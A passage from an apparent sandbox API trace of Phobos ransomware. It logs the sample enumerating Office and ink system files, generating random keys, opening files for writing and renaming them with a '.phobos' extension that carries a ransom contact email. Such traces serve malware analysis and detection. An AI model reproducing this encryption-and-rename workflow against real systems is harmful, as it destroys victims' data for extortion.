shared\\ClickToRun\\AppVOrchestration.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.244] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.244] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1295576) returned 1 [0149.244] CloseHandle (hObject=0x57c) returned 1 [0149.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0149.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.245] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.246] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=512216) returned 1 [0149.246] CloseHandle (hObject=0x57c) returned 1 [0149.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0149.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.247] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.247] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=263896) returned 1 [0149.247] CloseHandle (hObject=0x57c) returned 1 [0149.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0149.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.248] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.248] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=820416) returned 1 [0149.248] CloseHandle (hObject=0x57c) returned 1 [0149.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0149.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.249] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.249] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1208928) returned 1 [0149.249] CloseHandle (hObject=0x57c) returned 1 [0149.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0149.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.250] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.250] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=902328) returned 1 [0149.251] CloseHandle (hObject=0x57c) returned 1 [0149.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0149.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.251] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.308] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=332968) returned 1 [0149.308] CloseHandle (hObject=0x580) returned 1 [0149.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0149.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.309] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.309] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=996568) returned 1 [0149.310] CloseHandle (hObject=0x580) returned 1 [0149.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0149.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.310] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.310] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2776664) returned 1 [0149.310] CloseHandle (hObject=0x580) returned 1 [0149.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0149.311] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.311] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0 [0149.311] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.311] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1053784) returned 1 [0149.311] CloseHandle (hObject=0x580) returned 1 [0149.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0149.312] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.312] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.313] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=982720) returned 1 [0149.313] CloseHandle (hObject=0x580) returned 1 [0149.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0149.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.313] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.314] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=390320) returned 1 [0149.314] CloseHandle (hObject=0x580) returned 1 [0149.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0149.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.315] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.315] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=88752) returned 1 [0149.315] CloseHandle (hObject=0x580) returned 1 [0149.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0149.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.315] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.326] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10752) returned 1 [0149.326] CloseHandle (hObject=0x580) returned 1 [0149.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0149.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.327] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.339] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10752) returned 1 [0149.339] CloseHandle (hObject=0x580) returned 1 [0149.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0149.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.339] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.343] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10752) returned 1 [0149.343] CloseHandle (hObject=0x580) returned 1 [0149.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0149.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.343] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), 